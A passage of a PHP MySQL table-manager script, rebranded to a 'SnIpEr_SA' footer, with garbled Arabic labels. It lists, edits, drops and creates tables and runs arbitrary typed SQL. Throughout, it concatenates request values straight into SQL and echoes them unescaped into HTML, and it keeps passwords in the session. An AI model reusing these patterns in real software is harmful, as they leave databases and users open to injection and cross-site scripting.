  817.                     $mval.= AddSlashes($array[$x][$m]);
  818.  
  819.                 }else{
  820.                     $mval.= AddSlashes($array[$x][$m]).",";
  821.                 }
  822.                 $fval = $mval;
  823.             }
  824.         }else{
  825.                     $fval = AddSlashes($array[$x]);
  826.         }
  827.                 $qry .= "'$fval'";
  828.                 if ($x < $flds-1){
  829.                         $qry.= ", ";
  830.                 }
  831.         }
  832.         $query .= $qry.")";
  833.    // echo"qry: $qry";
  834.         $result=exequery($query, $tablename, $dbname);
  835.         if($result){
  836.                 return $result;
  837.         }else{
  838.                 return false;
  839.         }
  840. }
  841.  
  842. //**********************ADD Form **********************
  843.  
  844. function addform($tablename, $dbname){
  845.  //Display the field names and input boxes
  846.  echo"<form action='$action' method='post'>\n";
  847.  echo"<table border=0 width='100%' align='center'>\n";
  848.  echo"<tr class=head><td>Field Name</td><td>Type</td><td>Value</td></tr>\n";
  849.   $result=exequery("Select * from $tablename", $tablename, $dbname);
  850.  //$result = @mysql_query( "Select * from $tablename" );
  851.  $flds = mysql_num_fields($result);
  852.  $fields = mysql_list_fields($dbname, $tablename);
  853.  echo"<input type=hidden name=tablename value='$tablename' />\n";
  854.  echo"<input type=hidden name='dbname' value='$dbname' />\n";
  855.  echo"<tr>\n";
  856.  
  857.  $mxlen = 80;//max width of the form fields.
  858.  for($i=0; $i < $flds; $i++){
  859.       $auto = "false";
  860.       echo "<th>".mysql_field_name($fields, $i);
  861.       $fieldname = mysql_field_name($fields, $i);  // added
  862.       $type  = mysql_field_type($result, $i);
  863.       $flen = mysql_field_len($result, $i);//length of the field
  864.       $flagstring = mysql_field_flags ($result, $i);
  865.     // Start of new code for set drop down
  866.       $newsql = "show columns from $tablename like '%".$fieldname."'";
  867.       $newresult = exequery($newsql, $tablename, $dbname);
  868.       //mysql_query($newsql) or die ('I cannot get the query because: ' . mysql_error());
  869.       $arr=mysql_fetch_array($newresult);
  870.     // End of new code block for set drop down
  871.       if (eregi("primary",$flagstring )){
  872.        $type .= " PK ";
  873.       }
  874.       if(eregi("auto",$flagstring )){
  875.        $type .= " auto_increment";
  876.        $auto = "true";
  877.       }
  878.       if ($auto=="true"){
  879.         echo"<td>$type</td><td><input type=text name='array[$i]' size='$flen' value=0 /></td></tr>\n";
  880.       }elseif($flen > $mxlen){
  881.         $rws= $flen/$mxlen;
  882.         if($rws>10){
  883.              $rws=10; //max length of textarea
  884.         }
  885.         echo"<td>$type</td><td><textarea name='array[$i]' rows=$rws cols=$mxlen></textarea></td></tr>\n";
  886.         // Start of new code for set drop down
  887.       }elseif (strncmp($arr[1],'set',3)==0 || strncmp($arr[1],'enum',4)==0){  // We have a field type of set or enum
  888.        $num=substr_count($arr[1],',') + 1;  // count the number of entries
  889.        $pos=strpos($arr[1],'(' ); //find the position of '('
  890.        $newstring=substr($arr[1],$pos+1);  // get rid of the '???('
  891.        $snewstring=str_replace(')','',$newstring); // get rid of the last ')'
  892.        $nnewstring=explode(',',$snewstring,$num); // stick into an array
  893.        if(strncmp($arr[1],'set',3)==0 ){//Sets can have combinations of values
  894.            echo "<td>Set (select one or more)</td>";
  895.            echo"<td><select name='array[$i][]' size='3' multiple>";
  896.        }else{//Enum one value only
  897.         echo "<td>Enum</td>";
  898.            echo"<td><select name='array[$i]'>";
  899.        }
  900.        for($y=0; $y<$num;$y++){
  901.        echo"<option value=$nnewstring[$y]>$nnewstring[$y]";
  902.        }
  903.         echo"</select></td></tr>\n";
  904.     // End of new code block for set drop down
  905.       }else{
  906.        echo"<td>$type</td><td><input type=text name='array[$i]' size='$flen' /></td></tr>\n";
  907.       }
  908.  }
  909.  echo"<tr><td><input class=but type=submit name='addrec' value='Add Record' /></td>\n";
  910.  echo"<td><input class=but type=reset name='reset' value='Reset Form' /></td>\n";
  911.  echo"</tr>";
  912.  echo"</table>\n";
  913.  echo"</form>\n";
  914. }
  915.  
  916.  
  917. //*********************Edit Form ***************
  918. function editform($tablename, $dbname, $result, $edit, $pk, $pv){
  919.         $row=mysql_fetch_array($result);
  920.         echo"<form action='$action'  method=post>\n";
  921.         echo"<table border=0 width ='100%' align='center'>\n";
  922.  
  923.         $flds = mysql_num_fields($result);
  924.         $fields = mysql_list_fields($dbname, $tablename);
  925.         echo"<input type=hidden name=tablename value='$tablename' />\n";
  926.  
  927.         echo"<input type=hidden name='dbname' value='$dbname' />\n";
  928.         echo"<tr>";
  929.         $mxlen = 80;//max width of the form fields
  930.         for($i=0; $i < $flds; $i++){
  931.         $fname=mysql_field_name($fields, $i);
  932.                 echo "<th>$fname";
  933.                  $flen = mysql_field_len($result, $i);//length of the field
  934.                 $nslash = StripSlashes($row[$i]);
  935.         // Start of new code for set drop down
  936.       $newsql = "show columns from $tablename like '%".$fname."'";
  937.       $newresult = exequery($newsql, $tablename, $dbname);
  938.       $arr=mysql_fetch_array($newresult);
  939.     // End of new code block for set drop down
  940.  
  941.                 if($flen > $mxlen){
  942.                         $rws= $flen/$mxlen;
  943.                                 if($rws>10){
  944.                                 $rws=10; //max length of textarea
  945.                         }
  946.                         echo"<td><textarea name='array[$i]' rows=$rws cols=$mxlen>$nslash</textarea></td></tr>\n";
  947. // Start of new code for set drop down
  948.           }elseif (strncmp($arr[1],'set',3)==0 || strncmp($arr[1],'enum',4)==0){  // We have a field type of set or enum
  949.            $num=substr_count($arr[1],',') + 1;  // count the number of entries
  950.            $pos=strpos($arr[1],'(' ); //find the position of '('
  951.            $newstring=substr($arr[1],$pos+1);  // get rid of the '???('
  952.            $snewstring=str_replace(')','',$newstring); // get rid of the last ')'
  953.            $nnewstring=explode(',',$snewstring,$num); // stick into an array
  954.            if(strncmp($arr[1],'set',3)==0 ){//Sets can have combinations of values
  955.                echo"<td><select name='array[$i][]' multiple size='3'>";
  956.            }else{//Enum one value only
  957.                echo"<td><select name='array[$i]'>";
  958.            }
  959.            $nsel=explode(",",$nslash);
  960.           for($y=0; $y<$num;$y++){
  961.                 //geteach value 'a,b,c'
  962.                 $sel="";
  963.                 for($e=0; $e<count($nsel);$e++){
  964.                     if($nnewstring[$y]=="'".$nsel[$e]."'"){
  965.                         $sel="selected";
  966.                     }
  967.                 }
  968.                 echo"<option value=$nnewstring[$y] $sel>$nnewstring[$y]";
  969.            }
  970.             echo"</select></td></tr>\n";
  971. // End of new code block for set drop down
  972.  
  973.  
  974.         }else{
  975.                         echo"<td><input type=text name='array[$i]' size='$flen' value='$nslash' /></td></tr>\n";
  976.                 }
  977.                 for($f =0; $f< count($pk);$f++){
  978.                         echo"<input type=hidden name=pk[$f] value='$pk[$f]' />";
  979.                         echo"<input type=hidden name=pv[$f] value='$pv[$f]' />\n";
  980.                 }
  981.         }
  982.         echo"<tr><td><input class=but type=submit name='editrec' value='Update' /></td>\n";
  983.         echo"<td><input class=but type=reset name='reset' value='Reset Form' /></td>\n";
  984.         echo"</tr>";
  985.         echo"</table>\n";
  986.         echo"</form>\n";
  987. }
  988. //************************Edit Record*************************
  989. function editrec($dbname, $tablename, $pk, $pv, $array){
  990.  
  991.         //$result = @mysql_query( "Select * from $tablename" );
  992.     $result = exequery("Select * from $tablename", $tablename, $dbname);
  993.         $flds = mysql_num_fields($result);
  994.         $fields = mysql_list_fields($dbname, $tablename);
  995.  
  996. //Build Query
  997.            $qry="";
  998.     $query = "UPDATE $tablename set ";
  999.         for ($x =0; $x < $flds; $x++){
  1000.                 $fie = mysql_field_name($fields, $x );
  1001.         // SET and ENUM
  1002.          if(is_array($array[$x])){
  1003.             $mval="";
  1004.             for($m=0; $m < count($array[$x]); $m++){
  1005.                 if($m+1 == count($array[$x])){
  1006.                     $mval.= AddSlashes($array[$x][$m]);
  1007.                 }else{
  1008.                     $mval.= AddSlashes($array[$x][$m]).",";
  1009.                 }
  1010.                 $fval = $mval;
  1011.             }
  1012.         }else{
  1013.                     $fval = AddSlashes($array[$x]);
  1014.         }
  1015.         //**************************
  1016.                 //$fval = AddSlashes($array[$x]);
  1017.                 $qry .= "$fie = '$fval'";
  1018.                 if ($x < $flds-1){
  1019.                         $qry.= ", ";
  1020.                 }
  1021.         }
  1022.         $whr = buildwhr( $pk, $pv);
  1023.         $whr =StripSlashes($whr);
  1024.         $query .= "$qry";
  1025.         $query .= " where $whr";
  1026.  
  1027.     $result=exequery($query, $tablename, $dbname);
  1028.         if($result){
  1029.                 return $result;
  1030.         }else{
  1031.                 return false;
  1032.         }
  1033. }
  1034. //****************** Number of Primary Keys ***********************
  1035. function numpk($result){
  1036.         $z =0;
  1037.         for ($i = 0; $i < $flds; $i++) {
  1038.                 //Find the primary key
  1039.                 $flagstring = mysql_field_flags ($result, $i);
  1040.                 if(eregi("primary",$flagstring )){
  1041.                         $z++;
  1042.                 }
  1043.         }
  1044.         return $z;
  1045. }
  1046. //********************Size field*****************
  1047. function fieldformsize($ft, $i, $l){
  1048.         $ft= trim(strtoupper($ft));
  1049.         if($ft =="DATE" || $ft=="TIME" || $ft== "DATETIME" ){
  1050.         }elseif( $ft=="TINYTEXT" || $ft=="BLOB" || $ft=="TEXT" || $ft =="MEDIUMBLOB"){
  1051.                 echo"<input type=hidden name='leng[$i]' value=$l>";
  1052.         }elseif($ft=="MEDIUMTEXT" || $ft=="LONGBLOB"|| $ft=="LONGTEXT" || $ft=="TINYBLOB"){
  1053.                 echo"<input type=hidden name='leng[$i]' value=$l>";
  1054.         }elseif($ft=="INT" || $ft=="TINYINT"|| $ft=="SMALLINT"|| $ft=="MEDIUMINT"|| $ft=="BIGINT" || $ft=="INTEGER"){
  1055.                 echo"<input type=text name='leng[$i]' size=5  value=$l>";
  1056.         }elseif($ft=="YEAR" ){
  1057.                 echo"<select name='leng[$i]'>";
  1058.                 echo"<option value='4'>4";
  1059.                 echo"<option value='2'>2";
  1060.                 echo"</select>\n";
  1061.     }elseif($ft=="SET"|| $ft=="ENUM"){
  1062.         echo"<input type=text name='leng[$i]' title='values eg \"a\", \"b\", \"c\"' value='' />";
  1063.         }else{
  1064.                 echo"<input type=text name='leng[$i]' size=5 value=$l />\n";
  1065.         }
  1066. }
  1067.  
  1068. //******************************Display Row ******************************
  1069. function displayrow($dbname, $tbl, $pk, $pkfield, $cpk, $row, $flds){
  1070.         $pkfs="";
  1071.         $hv="";
  1072.         $hf="";
  1073.  
  1074.         if($cpk >0 && !empty($pkfield)){
  1075.                 for($a = 0; $a < $cpk; $a++){
  1076.                         $fieldn = $pkfield[$a];
  1077.                         $hf .= "<input type=hidden name=pk[$a] value='$pkfield[$a]' />";
  1078.                         $hv .= "<input type=hidden name=pv[$a] value='$row[$fieldn]' />";
  1079.                 }
  1080.         }else{ //No Primary Key so use all fields
  1081.                 $fields = mysql_list_fields($dbname, $tbl);
  1082.                 for($b = 0; $b < $flds; $b++){
  1083.                         $fie = mysql_field_name($fields, $b );
  1084.                         $hf .= "<input type=hidden name=pk[$b] value='$fie' />";
  1085.                         $hv .= "<input type=hidden name=pv[$b] value='$row[$b]' />";
  1086.                 }
  1087.         }
  1088.         echo"<tr>\n";
  1089.         //edit Record
  1090.         echo"<td><form action='$action' method=post>\n";
  1091.         echo"<input type=hidden name=dbname value='$dbname' />\n";
  1092.         echo"<input type=hidden name=tablename value='$tbl' />\n";
  1093.         echo"<input type=hidden name=npkeys value='$cpk' />\n";
  1094.         echo"$hf";
  1095.         echo"$hv";
  1096.         echo"<input class=sml type=submit name=edit value='Edit Record' />\n";
  1097.         echo"</form></td>\n";
  1098.  
  1099.         //Delete record
  1100.         echo"<td><form action='$action' method=post>\n";
  1101.         echo"<input type=hidden name=dbname value='$dbname' />\n";
  1102.         echo"<input type=hidden name=tablename value='$tbl' />\n";
  1103.         echo"<input type=hidden name=num value='$cpk' />\n";
  1104.         echo"$hf";
  1105.         echo"$hv";
  1106.         echo"<input class=smldel type=submit name=delete value='Delete Record' />\n";
  1107.         echo"</form></td>";
  1108.  
  1109.         //Display all the columns.
  1110.         for($col = 0; $col < $flds; $col ++){
  1111.                 $nslash = StripSlashes($row[$col]);
  1112.                 echo"<td>$nslash</td>";
  1113.         }
  1114.         echo"</tr>";
  1115.  
  1116. }
  1117. //***********************Remove Array Copy********************************
  1118. //removes copies from an array $x.
  1119.  
  1120. function removearraycopy($x){
  1121.         $leng= count($x);
  1122.         sort($x);
  1123.         $farr=array();
  1124.  
  1125.         for ($i =0; $i < $leng; $i++){
  1126.                 $flag=false;
  1127.                 for ($s =0; $s < count($farr); $s++){
  1128.                         if($x[$i]==$farr[$s]){
  1129.                                 $flag=true;
  1130.                         }
  1131.                 }
  1132.                 if ($flag == false){
  1133.                         $farr[count($farr)] = $x[$i];
  1134.                 }
  1135.         }
  1136.         return $farr;
  1137. }
  1138. //***********************<< page position >>********************************
  1139. function whichpage($num_rows, $pagemax, $pg, $tablename, $searchval){
  1140.         $pgs = $num_rows/$pagemax;
  1141.         $pgs=ceil($pgs);
  1142.                             //round up the number of pages.
  1143.         echo"<form action='$action' id='recspage' method='post' name='recspage'>\n";
  1144.     echo"Total number of records $num_rows, displayed on $pgs pages of \n";
  1145.     echo"<input type='text'  name='pagemax' value='$pagemax' size='4' onchange='javascript:this.form.submit();' title='Type the number records to display on a page then click outside the box' /> \n";
  1146.         echo"<input type='hidden' name='searchval' value='$searchval'  />\n";
  1147.     echo"<input type='hidden' name='tablename' value='$tablename'  />\n";
  1148.     echo"records per page.</form> \n";
  1149.     $pagescrol="";
  1150.     $sval="";
  1151.           if($pgs >1){
  1152.             $pagescrol="<div class='pagecount'>\n";
  1153.                         $nxt=$pg+1;
  1154.             $bk=$pg-1;
  1155.             $lst=$pgs;
  1156.             $end=$lst-1;
  1157.             $showp=$pg+1;
  1158.            if($searchval !=""){
  1159.             $sval="&amp;searchval=$searchval";
  1160.            }
  1161.            $pagescrol .= "<form name='pages' id='pages' action='$action' method='get'>\n";
  1162.             if($pg>=1){
  1163.                 $pagescrol .= " <a href='$action?tablename=$tablename&amp;pg=0$sval' title='To first page'> 1 :<< </a> \n";
  1164.                                 $pagescrol .= " <a href=''action'?tablename=$tablename&amp;pg=$bk$sval' title='Back one page'> < </a> \n";
  1165.                         }
  1166.            $pagescrol .= "<input type='text' name='pg' value='$showp' size='4' onchange='javascript:this.form.submit();' title='Type a page number then click outside the box' />\n";
  1167.            $pagescrol .= "<input type='hidden' name='pback' value='true'  />\n";
  1168.            $pagescrol .= "<input type='hidden' name='searchval' value='$searchval'  />\n";
  1169.            $pagescrol .= "<input type='hidden' name='tablename' value='$tablename'  />\n";
  1170.  
  1171.            if($showp < $lst){
  1172.                 $pagescrol .= " <a href=''action'?tablename=$tablename&amp;pg=$nxt$sval' title='Next page'> > </a> \n";
  1173.                 $pagescrol .= " <a href=''action'?tablename=$tablename&amp;pg=$end$sval' title='To Last page'> >>: $lst</a> \n";
  1174.            }
  1175.            $pagescrol .= "</form>\n";
  1176.            $pagescrol.="</div>\n";
  1177.       }
  1178.         return $pagescrol;
  1179. }
  1180.  
  1181. //*************Display Footer*************************
  1182. //Please don't remove or change.
  1183. function display_foot(){
  1184.  
  1185.     echo"<div class='foot'>Version $version &copy; ".date('Y')." <a style='text-decoration:none;' target='_blank' href='http://www.SnIpEr-SA.com'>SnIpEr_SA</a></div>";
  1186.  
  1187.     }
  1188. //*************My Size*************************
  1189. //Returns the size of a table or database
  1190. function mysize($dbname, $tablename){
  1191.     $like="";
  1192.     $total="";
  1193.     $t=0;
  1194.     if($tablename !=""){
  1195.         $like=" like '$tablename'";
  1196.     }
  1197.     $sql= "SHOW TABLE STATUS FROM $dbname $like";
  1198.     //$result = mysql_query($sql);
  1199.     $result=exequery($sql, $tablename, $dbname);
  1200.     if($result){
  1201.  
  1202.         while($rec = mysql_fetch_array($result)){
  1203.          $t+=($rec['Data_length'] + $rec['Index_length']);
  1204.          }
  1205.         $total ="<span class='bytes'>$t bytes</span>";
  1206.     }else{
  1207.         $total="Unknowen";
  1208.     }
  1209.     return($total);
  1210. }
  1211.  
  1212.  
  1213. //**************************************
  1214. //DEBUG to show all being passed to the page
  1215. function showpassingvars(){
  1216.         echo"Get: ";
  1217.          foreach($_GET as $pram=>$value){
  1218.                  echo"$pram: $value, ";
  1219.          }
  1220.         echo"<br>Post: ";
  1221.          foreach($_POST as $pram=>$value){
  1222.                   echo"$pram: $value, ";
  1223.          }
  1224.          echo"<br>Session: ";
  1225.          foreach($_SESSION as $pram=>$value){
  1226.                  echo"$pram: $value, ";
  1227.          }
  1228.  }
  1229. echo"<html>\n";
  1230. echo"<meta http-equiv='Content-Type' content='text/html; charset=windows-1256'>\n";
  1231. echo"<head>\n";
  1232. echo"<title>ÓßNEE ÇáÇEOÇá E?aÇÚI ÇáEíÇäÇE</title>\n";
  1233. echo"<STYLE>
  1234.  
  1235. BODY
  1236.  {
  1237.         SCROLLBAR-FACE-COLOR: #000000; SCROLLBAR-HIGHLIGHT-COLOR: #000000; SCROLLBAR-SHADOW-COLOR: #000000; COLOR: #ffffff; SCROLLBAR-3DLIGHT-COLOR: #726456; SCROLLBAR-ARROW-COLOR: #726456; SCROLLBAR-TRACK-COLOR: #292929; FONT-FAMILY: Verdana; SCROLLBAR-DARKSHADOW-COLOR: #726456
  1238. }
  1239.  
  1240. tr {
  1241. BORDER-RIGHT:  #cccccc ;
  1242. BORDER-TOP:    #cccccc ;
  1243. BORDER-LEFT:   #cccccc ;
  1244. BORDER-BOTTOM: #cccccc ;
  1245. color: #ffffff;
  1246. }
  1247. td {
  1248. BORDER-RIGHT:  #cccccc ;
  1249. BORDER-TOP:    #cccccc ;
  1250. BORDER-LEFT:   #cccccc ;
  1251. BORDER-BOTTOM: #cccccc ;
  1252. color: #cccccc;
  1253. }
  1254. .table1 {
  1255. BORDER: 1;
  1256. BACKGROUND-COLOR: #000000;
  1257. color: #333333;
  1258. }
  1259. .td1 {
  1260. BORDER: 1;
  1261. font: 7pt tahoma;
  1262. color: #ffffff;
  1263. }
  1264. .tr1 {
  1265. BORDER: 1;
  1266. color: #cccccc;
  1267. }
  1268. table {
  1269. BORDER:  #eeeeee  outset;
  1270. BACKGROUND-COLOR: #000000;
  1271. color: #cccccc;
  1272. }
  1273. input {
  1274. BORDER-RIGHT:  #990000 1 solid;
  1275. BORDER-TOP:    #990000 1 solid;
  1276. BORDER-LEFT:   #990000 1 solid;
  1277. BORDER-BOTTOM: #990000 1 solid;
  1278. BACKGROUND-COLOR: #333333;
  1279. font: 9pt tahoma;
  1280. color: #ffffff;
  1281. }
  1282. select {
  1283. BORDER-RIGHT:  #ffffff 1 solid;
  1284. BORDER-TOP:    #999999 1 solid;
  1285. BORDER-LEFT:   #999999 1 solid;
  1286. BORDER-BOTTOM: #ffffff 1 solid;
  1287. BACKGROUND-COLOR: #000000;
  1288. font: 9pt tahoma;
  1289. color: #CCCCCC;;
  1290. }
  1291. submit {
  1292. BORDER:  buttonhighlight 1 outset;
  1293. BACKGROUND-COLOR: #272727;
  1294. width: 40%;
  1295. color: #cccccc;
  1296. }
  1297. textarea {
  1298. BORDER-RIGHT:  #ffffff 1 solid;
  1299. BORDER-TOP:    #999999 1 solid;
  1300. BORDER-LEFT:   #999999 1 solid;
  1301. BORDER-BOTTOM: #ffffff 1 solid;
  1302. BACKGROUND-COLOR: #333333;
  1303. font: Fixedsys bold;
  1304. color: #ffffff;
  1305. }
  1306. BODY {
  1307. margin: 1;
  1308. color: #cccccc;
  1309. background-color: #000000;
  1310. }
  1311. A:link {COLOR:red; TEXT-DECORATION: none}
  1312. A:visited { COLOR:red; TEXT-DECORATION: none}
  1313. A:active {COLOR:red; TEXT-DECORATION: none}
  1314. A:hover {color:blue;TEXT-DECORATION: none}
  1315.  
  1316. </STYLE>\n";
  1317. echo"<meta http-equiv='Content-Type' content='text/html charset=windows-1256'>";
  1318. echo"<title>ÓßNEE ÇáÇEOÇá E?aÇÚI ÇáEíÇäÇE</title>\n";
  1319. echo"<meta name='author' content='Tony Aslett'>";
  1320. echo"<meta name='title' content='PHP:MySQL Table Manager'>";
  1321. echo"<meta name='description' content='Table Manager for MySQL Database'>";
  1322. echo"<link rel='stylesheet' href='tmgrstyles.css' type='text/css'>\n";
  1323. echo"</head>\n";
  1324. echo"<body>\n";
  1325.  
  1326. $showall=true;
  1327. echo"<h2 class=h >ÓßNEE ÇáÇEOÇá E?aÇÚI ÇáEíÇäÇE</h2>\n";
  1328. //******************* Session Logon ***********************
  1329. if(isset($_POST['logout'])){
  1330.  
  1331.                 $_POST['dbname']="";
  1332.                 session_unset();
  1333.                 session_destroy();
  1334. }
  1335. if(isset($_POST['userid']) && isset($_POST['pword1'])){
  1336.         $_SESSION['user'] = $_POST['userid'];
  1337.         $_SESSION['password'] = $_POST['pword1'];
  1338. }
  1339.  
  1340. if (!isset($_SESSION['user']) || !isset($_SESSION['password'])){
  1341.         echo"<div align=center>";
  1342.         echo"<h2>ÇIÎá EíÇäÇE ÇáÓíNÝN ÇáaÎEN?</h2>\n";
  1343.         If(!isset($dbnamearray)){
  1344.                 $dbnamearray="";
  1345.         }
  1346.         show_login($dbnamearray);
  1347.         echo"</div>";
  1348. }else{
  1349.         //show logout option.
  1350.         echo"<div align=right>";
  1351.         endsess();
  1352.         echo"</div>";
  1353. }
  1354. //*****dbname
  1355. if(isset($_POST['dbname'])){
  1356.         $dbname=$_POST['dbname'];
  1357.     $_SESSION['dbname']= $_POST['dbname'];
  1358. }
  1359. //***** Host
  1360. if(isset($_POST['host'])){
  1361.     $host=$_POST['host'];
  1362.     $_SESSION['host']=$_POST['host'];
  1363. }
  1364. //******set tablename
  1365. if(isset($_GET['tablename']) ){
  1366.         $tablename=$_GET['tablename'];
  1367. }elseif(isset($_POST['tablename'])){
  1368.         $tablename=$_POST['tablename'];
  1369. }
  1370. //********** pagemax
  1371. if(isset($_POST['pagemax'])){ //&& is_int($_POST['pagemax'])){
  1372.     $isnum=true;
  1373.     for($o=0; $o<count($_POST['pagemax']); $o++){
  1374.             if($_POST['pagemax'][$o]>9){
  1375.                 $isnum=false;
  1376.             }
  1377.     }
  1378.     if($_POST['pagemax']>0 && $isnum){
  1379.         $_SESSION['pagemax']=$_POST['pagemax'];
  1380.     }
  1381. }
  1382.  if(isset($_SESSION['pagemax'])){
  1383.     $pagemax=$_SESSION['pagemax'];
  1384.  }
  1385. //******** create a new Database ************
  1386. if(isset($_POST['cndb'])){
  1387.     connectmysql();
  1388.         $sql="create database $_POST[ndbname]";
  1389.         $result=exequery($sql, " ", $_POST['ndbname']);
  1390.         if ($result){
  1391.                 $_SESSION['dbname'] = $_POST['ndbname'];
  1392.         $sql="Use $_POST[ndbname]";
  1393.             $result=exequery($sql, " ", $_POST['ndbname']);
  1394.         if($result){
  1395.             echo"<h2>?ÇÚIÉ IIíIÉ $_SESSION[dbname] </h2>\n";
  1396.         }
  1397.         }
  1398. }
  1399.  
  1400. //*********************************************
  1401. if (! isset($_SESSION['dbname']) && ! isset($dbnamearray) && ! isset($_POST['dbname']) && isset($_SESSION['user'])){ //*********post
  1402.         //Databse names
  1403.         showdb();
  1404. }
  1405. //************************ Choose DB *************
  1406. if(isset($_POST['dbname']) && $_POST['dbname']==""){
  1407.     showdb();
  1408. }
  1409.  
  1410. //**********
  1411. if (isset($_SESSION['dbname']) || isset($_POST['dbna']) || isset($_POST['dbname'])){
  1412. //*************************************
  1413.                 //connection
  1414.  
  1415.                 if (isset($_SESSION['dbname'])){
  1416.                         $dbsetname = $_SESSION['dbname'];
  1417.                 }elseif(isset($_POST['dbname'])){
  1418.                         $dbsetname = $_POST['dbname'];
  1419.                         $_SESSION['dbname'] = $_POST['dbname'];
  1420.                 }else{
  1421.                         $dbsetname = $_POST['dbna'];
  1422.                         $_SESSION['dbname'] = $_POST['dbna'];
  1423.                 }
  1424. }
  1425. //*************************** we have a DB set
  1426. if(isset($dbsetname) && $dbsetname!=""){
  1427.                     $link= connectmysql();
  1428.             //echo"DBS: $dbsetname";
  1429.                     $conn = connectdb($dbsetname, $link);
  1430.  
  1431. //*********** Drop Table **************
  1432.         if(isset($_POST['deltable'])){
  1433.         $showall=false;
  1434.                 $tablename=$_POST['tablename'];
  1435.                 echo"<h1>!!! EÍ?íN !!! <br>ÇäE EÍÇaá aÓÍ a?Ç ÇáIIaá $tablename<br>";
  1436.                 echo"aá ÇäE aEÇßI aä Çá?íÇa EÇáÚaáía??</h1>\n";
  1437.                 $va="Drop $tablename";
  1438.                 goto($tablename, $dbname,$action, 'del', 'droptab', $va );
  1439.         }
  1440.         if(isset($_POST['droptab'])){
  1441.                 $tablename=$_POST['tablename'];
  1442.                 $dsql = "drop table $tablename";
  1443.                 $result=exequery($dsql, $tablename, $dbname);
  1444.                 unset($tablename); //="false";
  1445.                 unset($_POST['tablename']);
  1446.         }
  1447. //*****************Write Your Own Query *****************
  1448.         if(isset($_POST['wyoq'])){  //post
  1449.                 $value="ÇáaÇIaa ÇáNAíÓía ááÓßNEE";
  1450.                 goto($tablename, $dbname, $action, 'but', 'start', $value );
  1451.                 echo"<form method='post'>\n";
  1452.                 echo"<input type='hidden' name='dbname' value=$dbname>\n";
  1453.                 //echo"<input type=text name='wyqota' width='500px' style='overflow-x:visible;'>\n";
  1454.  
  1455.                 echo"<textarea name='wyoqta' cols='60' rows='5' style='overflow-y:visible'></textarea>\n";
  1456.  
  1457.                 echo"<br><input class=but type=submit name='runquery' value='Execute Query'>\n";
  1458.                 echo"</form><br>\n";
  1459.         }
  1460.  
  1461.         if(isset($_POST['runquery'])){
  1462.                 $wyoqta = StripSlashes($_POST['wyoqta']);
  1463.                 $result=exequery($wyoqta, " ", " ");
  1464.  
  1465.                 if(@mysql_num_rows($result) >0){
  1466.                          $numrows=mysql_num_rows($result);
  1467.                         $flds=mysql_num_fields($result);
  1468.                         echo"<table>";
  1469.                         for($r=0; $r < $numrows; $r++){
  1470.                                 echo"<tr>";
  1471.                                 $row=mysql_fetch_array($result);
  1472.                                 for($col = 0; $col < $flds; $col ++){
  1473.                                         $nslash = StripSlashes($row[$col]);
  1474.                                         echo"<td>$nslash</td>";
  1475.                                 }
  1476.                                 echo"</tr>";
  1477.                         }
  1478.                         echo"</table>";
  1479.                 }elseif (mysql_affected_rows()){
  1480.                         echo" Number of Rows affected: ".mysql_affected_rows();
  1481.                 }else{
  1482.                         echo" Nothing returned from the query.";
  1483.                 }
  1484.         }
  1485. // ****************List Tables***************************
  1486.  
  1487.         if( ! isset($tablename) || $tablename==" " ){
  1488.                 $dbname=$_SESSION['dbname'];
  1489.                 $result = mysql_list_tables($_SESSION['dbname']);
  1490.                  $numtab = mysql_num_rows ($result);
  1491.                  if($numtab == 1){
  1492.                         $_SESSION['tablename'] =mysql_tablename($result, 0);
  1493.                  }
  1494.  
  1495. //***************** Buttons ******************************
  1496.                 if (isset($_POST['runquery'])){
  1497.                         $dbname=$_SESSION['dbname'];
  1498.                         $value="$dbname Start"; //Table Manager Start
  1499.                         goto("", $_SESSION['dbname'], $action, 'but', 'tablestart', $value );
  1500.  
  1501.                 }elseif (! isset($_POST['wyoq']) && ! isset($_POST['runquery'])){ //write your own query.
  1502.                         echo"<table width=40% border=0 align='left' >\n";
  1503.                         echo"<tr><td>";
  1504.  
  1505.                         $va="AäÔÇÁ IIaá IIíI";
  1506.                         goto("", $_SESSION['dbname'], "create.php", 'but', 'create', $va );
  1507.           //  echo"<a href=create.php class='crt'>Create new Table</a>\n";
  1508.                         echo"</td><td>";
  1509.  
  1510.         $value="ÇáaÇIaa ÇáNAíÓía"; //Choose DB
  1511.                 goto("", "", $action, 'but', 'db', $value );
  1512.                 echo"</td>\n";
  1513.  
  1514.                         $value="Write Your Own Query";
  1515.                         goto(" ", $_SESSION['dbname'], $action, 'but', 'wyoq', $value );
  1516.  
  1517.                         echo"</td></tr>";
  1518.                         echo"</table><br><br><br><br><div style='clear:both;'></div>";
  1519.  
  1520.                         echo"<table width=100% border=0 align='center' >\n";
  1521.                         for ($i =0; $i < $numtab; $i++) {
  1522.  
  1523.                                 $tb_names[$i] = mysql_tablename($result, $i);
  1524.                                 echo"<tr class='frow'><td align='center'>\n";
  1525.  
  1526.                                 $va="ÚNÖ IIaá * $tb_names[$i]";
  1527.                                 goto($tb_names[$i], $_SESSION['dbname'],$action, 'but', $tb_names[$i], $va );
  1528.                                 echo"</td><td  align='center' valign='middle'>\n";
  1529.  
  1530.                                 $va="aÓÍ IIaá $tb_names[$i]";
  1531.                                 goto($tb_names[$i], $_SESSION['dbname'],$action, 'del', 'deltable', $va );
  1532.                                 echo"</td><td  align='center' valign='middle'>\n";
  1533.  
  1534.                                 $va="Alter Table $tb_names[$i]";
  1535.                                 goto($tb_names[$i], $_SESSION['dbname'],'alter.php', 'but', 'altertable', $va );
  1536.                                 echo"</td><td align='center' valign='middle'>\n";
  1537.  
  1538.                                 searchtableform($tb_names[$i], $_SESSION['dbname']);
  1539.                                 echo"</td><td>";
  1540.                 //Table size in bytes
  1541.                echo mysize($_SESSION['dbname'],$tb_names[$i]);
  1542.  
  1543.                 echo"</td></tr>\n";
  1544.                         }//for
  1545.                         echo"</table>\n";
  1546.                 }
  1547.  
  1548.         }else{ //tablename is set
  1549. //***************** menu *****************************************
  1550.                 echo"<table><tr class='frow'><td>\n";
  1551.                 $value="$_SESSION[dbname] Start"; //Ex Table Manager Start
  1552.                 goto($tablename, $_SESSION['dbname'], $action, 'but', 'tablestart', $value );
  1553.                 echo"</td>\n";
  1554.  
  1555.         echo"<td>\n";
  1556.         $value="ÇáaÇIaa ÇáNAíÓía"; //Choose DB
  1557.                 goto("", "", $action, 'but', 'start', $value );
  1558.                 echo"</td>\n";
  1559.  
  1560.         echo"<td>\n";
  1561.         $value="Write Your Own Query";
  1562.                 goto(" ", $_SESSION['dbname'], $action, 'but', 'wyoq', $value );
  1563.         echo"</td>\n";
  1564.  
